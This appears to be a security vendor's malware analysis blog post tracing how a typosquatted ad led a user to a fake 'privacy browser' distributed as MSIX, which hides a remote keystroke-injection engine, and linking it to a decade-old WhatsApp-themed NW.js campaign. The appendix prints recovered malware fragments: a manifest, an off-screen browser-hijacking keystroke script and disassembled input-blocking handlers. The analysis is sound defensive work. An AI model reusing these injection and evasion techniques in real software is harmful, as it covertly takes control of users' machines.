Rubber Ducky in the Sky

Introduction

An alert that says nothing was found is not usually the start of an investigation. This one was. A file had landed in an employee’s downloads folder. The EDR said it was fine but our custom detections identified something strange with the file. It is not in our nature to leave something unclassified.

The employee had bought a new mouse, followed the setup instructions printed on the box, mistyped a single letter of the address, and downloaded what a search advert offered instead. It called itself a privacy browser. We found nothing in it that protected anyone’s privacy. On VirusTotal the detection count hovers between zero and two, depending on the day.

Inside it was a remote control engine, delivered through channels people are told they can rely on and signed off by institutions each trusting the one before them. The build machine was somebody’s everyday computer, put together without following the documentation. Following the threads presented. We found a campaign that goes back at least a decade.

Squeak Squeak

Earlier this year, we got a true infection case sent to us from our internal security team. An employee had bought a new mouse for their computer and, during the setup of it, inadvertently downloaded something malicious. The installer and the application were not flagged by the EDR in any way; as of this writing, the malicious part of the application is undetected on VirusTotal. The installer is submitted daily to VirusTotal and is detected by zero to two engines depending on the day. Even though this “application” could be classified as a potentially unwanted application (PUA), antivirus engines are good at detecting known PUA software. We decided to take a deeper dive.

The infection started with a simple mistyped letter on the keyboard. The employee followed the instructions to install a companion application. The instructions are shown in the figure below.

During the entering of the domain in the instructions, the “m” in the domain name was mistyped with an “n”. Since “.con” is not a valid top-level domain, the browser performed a Google search instead. The top hit was an ad with a similar-looking domain, which, when clicked, eventually sent the user to a landing page for a “privacy browser”. The chain is shown in the snippet below.

Google search: "www.mxsetup.logi.con"
 └── Ad linking click: www.mxsetuplogi.com
     └── Traffic broker: https://autrossn.com/xfc/fdci?s=<tracking blob>
         ├── Landing page: https://lpic.prvbrws.com/?clickid=...&tag=dm&dkw=mxsetuplogi.com
         ├── Payload download: blob:https://lpic.prvbrws.com/...
         └── Post instal page: https://lpic.prvbrws.com/thank-you

A screenshot of the landing page is shown in Figure 2. It uses Google Recapcha to ensure the user is human. Once the user passes the CAPTCHA, an MSIX installer is downloaded, which is a single-click installer.

PrivacyBrowse With a Twist

The application was a web browser. From the name, we assume it’s marked as a privacy-focused browser. It is a functional application; Figure 3 shows a screenshot of the application. Through our analysis, we did not discover any privacy-focused improvements.

The application consists of two parts: a GUI part and an engine. The “engine” is NW.js with some custom extensions to support the nefarious functionality. NW.js allows the use of web technologies to build native looking applications. It makes it easier to target multiple operating systems. These technologies essentially are web browsers that are restricted to one site. Most applications include the web resources and access them from within the application folder. This PUA does it differently. It always fetches the content from a web server. In this version of the application. The domain used to host the GUI has appeared on and off Umbrella’s Top Million Domain list since December 2025. We have only seen this application hosted on this domain, so our assumption is that the traffic represents usage of the application.

The NW.js engine has been extended to include a hidden remote execution functionality. The functionality is implemented via a synthetic input injection engine. The engine can start an application and inject mouse and keyboard inputs to the application, allowing the operator of the PUA to perform anything on the machine that a user can. Essentially, the functionality is similar to what can be achieved with a USB Rubber Ducky but over the internet. The inputs are sent by the GUI, and since that part of the application is never on the disk of the machine, it’s hard to identify the nefarious functionality.

The remote execution instruction is coded into the GUI part of the application. Since it’s hosted on the operator’s infrastructure, it can be changed without having to update the installed PUA. The functionality we have observed is to hijack the user’s default search engine in the web browser or to install browser extensions. The PUA takes many precautions not to get detected by the user. First, it waits at least 7 minutes after the machine has been idle before starting. The browser window is moved off-screen, so if someone is watching the screen, they won’t see the effects of keystroke injections. Once it’s done, it restores the window to its previous state.

The PUA is using geolocation to determine what to perform. All countries are part of one of three groups: Tier 1, blocked, or other. The tier one countries are: US, CA, GB, DE, FR, IT, ES, SE, NL, AU. Users in these countries have both the search engine changed and browser extensions installed. The blocked country list is likely used to prevent bringing attention to local authorities; if the user is in a country on this list, nothing nefarious is performed. Users in other countries just have the extension installed.

The GUI tracks all the campaigns that have been executed on the machine. It’s stored in localStorage, and there is some code to migrate from an old format to the current one. This migration code, shown in the snippet below, identifies three historical campaigns.

/*  
*       Normalize a localStorage data structure for Emu history as a JSON Object with the following:     
*       emuHistory =   
*       {  
                [         
                        emuType: <TYPE>,  
                        emuTS: <TS>,  
                        emuItem: <itemID>  
                ]  
*       }                 
*/  
if (!localStorage.emuHistory)  
{  
        if (localStorage.emuTS && localStorage.emuType)  
        {  
                var emuType = parseInt(localStorage.emuType);  
                var emuTS = parseInt(localStorage.emuTS);  
                var emuId = '';  
                if (localStorage.emuType == 3)  
                {  
                        emuId = 'lionstab';  
                }  
                else if (localStorage.emuType == 2)  
                {  
                        emuId = 'topnotch';  
                }  
                else if (localStorage.emuType == 1)  
                {   
                        emuId = 'streamio';  
                }  
                logEmu(emuType, emuTS, emuId);  
        }  
}

While the PUA “only” installs extensions and modifies the browser’s default search engine, a threat like this should still be taken seriously. A browser extension can be granted very powerful access to the content a user is viewing in a web browser, which can lead to unauthorized access to enterprises’ private data. Currently, we have only observed the injection engine used to control a browser window; the implementation is generic enough to control any application on the machine. For example, the operators could spawn a PowerShell terminal and inject code to download and execute malware.

Pretty Little Bow

Using MSIX as a delivery mechanism is not new, but it is still a very effective way to bypass defenses. The VirusTotal detection rates of these files are often 0.

There are a few reasons MSIX is an attractive delivery mechanism for malware developers. From the victim’s point of view, it provides a much cleaner installation experience than being asked to run an unfamiliar executable. The package is opened through Microsoft’s App Installer, which gives the process a polished Windows interface with application branding and publisher information. In a campaign that already relies on convincing the victim that they are installing legitimate software, this helps the installer feel like a normal part of Windows rather than something obviously suspicious.

MSIX can also benefit from Microsoft’s signing infrastructure when packages are distributed through the Microsoft Store. Once accepted, the package distributed to users is signed by Microsoft, which removes much of the friction normally associated with an unknown publisher.

MSIX signing chain
└─ 9A1AB723-7EB8-4FA1-A268-BC4765499F15
   [leaf / package signer]  expires Oct 17 10:08:01 2024 GMT
    ⤷ the developer's Store publisher identity (the actor)
   └─ Microsoft Marketplace CA G 023
      [intermediate CA]  expires Apr 11 17:45:41 2029 GMT
      └─ Microsoft MarketPlace PCA 2011
         [intermediate CA]  expires Mar 28 21:19:39 2031 GMT
         └─ Microsoft Root Certificate Authority 2011
            [root CA — not embedded in package, trusted by Windows]

The format itself gives the attacker plenty of room to blend in. An MSIX package is essentially a structured archive containing a manifest and the files required by the application. These archives can contain hundreds to thousands of files. In these samples there was very little obviously malicious content in the package itself.

The downside for the malware developers is that MSIX can preserve much more of the build environment than they probably intended. The packages contained registry hive files used by the application’s virtualised environment, and these turned out to be particularly valuable. When packages are built using the MSIX Packaging Tool, the tool monitors an installer running on a real system and records the changes it makes; to quote the official documentation for the MSIX Packaging Tool:

A clean machine for conversion is important because during the installation step of the MSIX Packaging Tool, we will be listening to everything in the environment to capture what the installer is doing. A clean machine means that there aren’t extraneous apps or services running on your machine that could get captured in your package.

Failing to follow this process, as the malware authors did, can capture more than the application actually needs, leaving fragments of the builder’s own registry inside the finished package.

In the case that we have encountered during this research, these hives gave us a surprisingly detailed view of the machine used to build the samples. The name of the user account, and artifacts such as the Start menu cache and UserAssist entries allowed us to recover a good portion of the installed software and recently used applications. The machine contained the expected development tooling, including Node through nvm, VS Code, TortoiseGit, Paint.NET and the MSIX Packaging Tool, alongside Telegram. More interestingly, AdsPower and GeoEdge’s GeoVPN were also installed, which fit well with an operation centred around advertising traffic.

It was also clearly not a clean or disposable build machine. Personal applications such as iCloud, WhatsApp and Spotify were present alongside the development tooling, which meant the packaging process leaked traces of both the operation and the developer’s day-to-day environment. The strongest leads come through file paths left throughout the registry data, uncovering a previous iteration of this activity.

Time…

Analysing the keys in the registry hives, allows for interesting metadata pivots. This uncovers a previous campaign from the same actor. A campaign that is at least 10 years old, using a very similar infection chain to NinjaMare.

The infection chain starts by getting the user to download an application related to a current application that they may currently use. Most prominently WhatsApp, but also Instagram, Facebook Messenger, Tinder, Wikipedia to name a few. The files are distributed via a number of free file software hosting sites.

This application is an NSIS installer. During the installation of the file, the NSIS installer unpacks a number of files and creates a persistence registry run key for a NW.js application. The persistence triggers the NW.js application to run silently in the background. The app points to a HTML page that imports a JavaScript file.

The JavaScript file is a NodeJS application. The script will execute a compiled JavaScript binary called report.bin. The report.bin file is a compiled NW.js module used to profile the host and report information back to a remote server. One of its more interesting checks involves running driverquery and looking for the npf.sys packet capture driver, which is commonly associated with tools such as WinPcap/Npcap. In context, this appears to act as a basic anti-analysis or anti-sandbox check, allowing the malware to identify systems that may be running network monitoring software. Machines matching this condition are then assigned a crude internal label, as a classification logic. The module also builds its reporting URL from several smaller string fragments and appears to retrieve JavaScript from the remote server. That JavaScript can then be handed back to the main script for execution, effectively giving the server a way to change or extend the malware’s behaviour without shipping a new copy of the application.

The remainder of main.js acts as the controller for the application. In addition to handling the local storage, reporting and execution of JavaScript received from the remote server, it is also responsible for launching the separate AutoUpdate.exe component when the application needs to update itself. This gives the operators two different ways of changing the malware after installation: they can supply JavaScript for immediate execution inside the running NW.js process, or have main.js invoke the updater to replace the application files on disk.

AutoUpdate.exe is a small .NET updater which reads AutoUpdater.config, retrieves a remote XML manifest, compares the advertised file versions against those installed locally and downloads replacements into a temporary directory. If an update requires a restart, it terminates the running application, replaces the existing files and launches the updated executable, with a basic rollback mechanism available if the process fails. Notably, the updater performs no hash or signature verification on the files it downloads before placing them into the application directory. The recovered configuration has this mechanism enabled and points it back to the same whatsapptime.herokuapp[.]com infrastructure, where it requests a remote update manifest for the malware and tracks the versions of the main executable and several supporting NW.js files.

The main risk is that the application gives its operators several ways to change what runs on an infected system after the initial installation. JavaScript can be retrieved from the remote server and executed directly inside the NW.js process, while main.js can also launch the updater to replace the application binaries themselves. The update process is particularly weak because downloaded files are not verified with a hash or digital signature before being copied into place and executed. This means that compromise of the update infrastructure, local configuration, or network path could be used to deliver arbitrary code, while the existing reporting and host-profiling logic gives the operators a way to tailor that behaviour to individual systems.

Based on the network activity of scripts submitted to VirusTotal in January of 2016, this activity has been occurring for at least 10 years.

Indicators of Compromise

NinjaMare Wave

Whatsapptime Wave

Appendix A - NinjaMare Technical Analysis

{
    "name": "PrivacyBrowse",
    "version": "1.12.78",
    "description": "Protect your privacy with a simple browser that lets you focus on what matters most.",
    "main": "https://pbcdn.privacybrowse.app/privacybrowse/src/browser.html",
    "nodejs": true,
    "node-remote": "*://*",
    "dependencies": {
        "axios": "^1.3.4",
        "cheerio": "^1.0.0-rc.12",
        "font-awesome": "^4.7.0",
        "tar": "^6.1.13",
        "universal-analytics": "^0.5.3"
    },
    "window": {
        "icon": "./images/icon256.png",
        "width": 1180,
        "height": 720,
        "show": false,
        "frame": true,
        "show_in_taskbar": false
    },
    "webview": {
        "partitions": [{
            "name": "trusted",
            "accessible_resources": [
                "<all_urls>"
            ]
        }]
    },
    "webkit": {
        "plugin": true
    },
    "icons": {
        "256": "./images/icon256.png"
    },
    "chromium-args": "--ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=23.0.0.162 --enable-widevine-cdm --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --widevine-cdm-path=widevinecdmadapter.dll --widevine-cdm-version=1.4.8.903",
    "js-flags": "--expose-gc"
}

setTimeout(emuTerms, 30000)              ← 30s after app start
└── emuTerms()
    ├── getVariant(type, history)         ← select next untried variant
    │   └── popUID(variants)              ← substitute %USERID%, %BDTS%, %TAG% tokens
    ├── getActivity(secondaryLogic)       ← C2: /checkActivity/<uid>
    └── manageBrowser(variant, type)
        └── eHandler(initFn, variant)     ← 7-min idle gate
            └── initEdge/initChCs/initFF/initCh/initSuite(variant)

var emuSettings =
{
  cmd: "chrome",
  cmdParams: "--profile-directory=Default",
  appRegex: ".* (-|–) Google Chrome",

  actions: [
    {type: "focus", params:[]},
    {type: "resize", params:[660,660]},
    {type: "movewindow", params:[parseInt(screen.availLeft - 650), parseInt(screen.availTop - 100)]},
    {type: "sleep", params: 300},
    {type: "shortcut", params: ["VK_LCONTROL","VK_T"]},
    {type: "sleep", params: 3000},
    {type: "shortcut", params: ["VK_MENU", "VK_D"]},
    {type: "sleep", params: 100},
    {type: "text", params: "chrome://settings/searchEngines"},
    {type: "sleep", params: 300},
    {type: "key", params: "VK_DELETE"},
    {type: "sleep", params: 300},
    {type: "key", params: "VK_RETURN"},
    {type: "sleep", params: 3000},
    {type: "key", params:"VK_TAB"},
    {type: "sleep", params: 300},
    {type: "text", params: "default-search"},
    {type: "sleep", params: 300},
    {type: "key", params:"VK_TAB"},
    {type: "sleep", params: 300},
    {type: "key", params:"VK_TAB"},
    {type: "sleep", params: 300},
    {type: "key", params:"VK_TAB"},
    {type: "sleep", params: 300},
    {type: "key", params:"VK_TAB"},
    {type: "sleep", params: 300},
    {type: "key", params:"VK_TAB"},
    {type: "sleep", params: 300},
  ]
};

;   case 15 == JS "block"    ->  BlockInput(TRUE)
  PUSH       TRUE                                             ; 17f37211 6a 01
  JMP        BLOCKINPUT                                       ; 17f37213 eb 02
;   case 16 == JS "unblock"  ->  BlockInput(FALSE)
  PUSH       FALSE                                            ; 17f37215 6a 00
BLOCKINPUT:
  CALL       dword ptr [->USER32.DLL::BlockInput]             ; 17f37217 ff 15 4c
  JMP        LAB_17f37234                                     ; 17f3721d eb 15
;   case 17 == JS "lock"     ->  LockWorkStation()
  CALL       dword ptr [->USER32.DLL::LockWorkStation]        ; 17f3721f ff 15 70
  JMP        LAB_17f37234                                     ; 17f37225 eb 0d
;   case 18 == JS "hide"     ->  ShowWindow(hWnd, 0 = SW_HIDE)
  PUSH       SW_HIDE                                          ; 17f37227 6a 00
  JMP        SHOWWINDOW                                       ; 17f37229 eb 02
;   case 19 == JS "show"     ->  ShowWindow(hWnd, 5 = SW_SHOW)
  PUSH       SW_SHOW                                          ; 17f3722b 6a 05
SHOWWINDOW:
  PUSH       EDI=>DAT_fffffff8                                ; 17f3722d 57
  CALL       dword ptr [->USER32.DLL::ShowWindow]             ; 17f3722e ff 15 78

  LEA        eax=>local_6c,[EBP + -0x68]                            ; 17f363fd 8d 45 98
  PUSH       eax                                                    ; 17f36400 50
  PUSH       EBX                                                    ; 17f36401 53
  CALL       dword ptr [->USER32.DLL::GetWindowPlacement]           ; 17f36402 ff 15 10
  MOV        eax,dword ptr [EBP + local_50[0]]                      ; 17f36408 8b 45 b4
  MOV        dword ptr [EBP + local_15c],eax                        ; 17f3640b 89 85 a8
  MOV        eax,dword ptr [EBP + local_50[4]]                      ; 17f36411 8b 45 b8
  MOV        dword ptr [EBP + local_158],eax                        ; 17f36414 89 85 ac
  MOV        eax,dword ptr [EBP + local_50[8]]                      ; 17f3641a 8b 45 bc
  MOV        dword ptr [EBP + local_154],eax                        ; 17f3641d 89 85 b0
  MOV        eax,dword ptr [EBP + local_50[12]]                     ; 17f36423 8b 45 c0
  MOV        dword ptr [EBP + local_150],eax                        ; 17f36426 89 85 b4
  MOV        ESI,dword ptr [EBP + local_140]                        ; 17f3642c 8b b5 c4
  MOV        dword ptr [ESI + 0x14],EBX                             ; 17f36432 89 5e 14
  PUSH       EBX                                                    ; 17f36435 53
  CALL       dword ptr [->USER32.DLL::GetDpiForWindow]              ; 17f36436 ff 15 74
  MOVD       XMM0,eax                                               ; 17f3643c 66 0f 6e c0
  POR        XMM0,xmmword ptr [DAT_1865e280]                        ; 17f36440 66 0f eb
  SUBSD      XMM0,qword ptr [DAT_1865e270]  ;  = 4330000000000000h  ; 17f36448 f2 0f 5c
  CVTSD2SS   XMM0,XMM0                                              ; 17f36450 f2 0f 5a c0
  DIVSS      XMM0,dword ptr [DAT_18d899dc]                          ; 17f36454 f3 0f 5e
  MOVSS      dword ptr [ESI + 0x10],XMM0                            ; 17f3645c f3 0f 11
  PUSH       SW_SHOWNORMAL                                          ; 17f36461 6a 01
  PUSH       EBX=>DAT_fffffff8                                      ; 17f36463 53
  CALL       dword ptr [->USER32.DLL::ShowWindow]                   ; 17f36464 ff 15 78
  PCMPEQD    XMM0,XMM0                                              ; 17f3646a 66 0f 76 c0
  MOVDQU     xmmword ptr [EBP + local_7c[0]],XMM0                   ; 17f3646e f3 0f 7f
  LEA        eax=>local_7c,[EBP + -0x78]                            ; 17f36473 8d 45 88
  PUSH       eax                                                    ; 17f36476 50
  PUSH       EBX=>DAT_fffffff8                                      ; 17f36477 53
  CALL       dword ptr [->USER32.DLL::GetWindowRect]                ; 17f36478 ff 15 14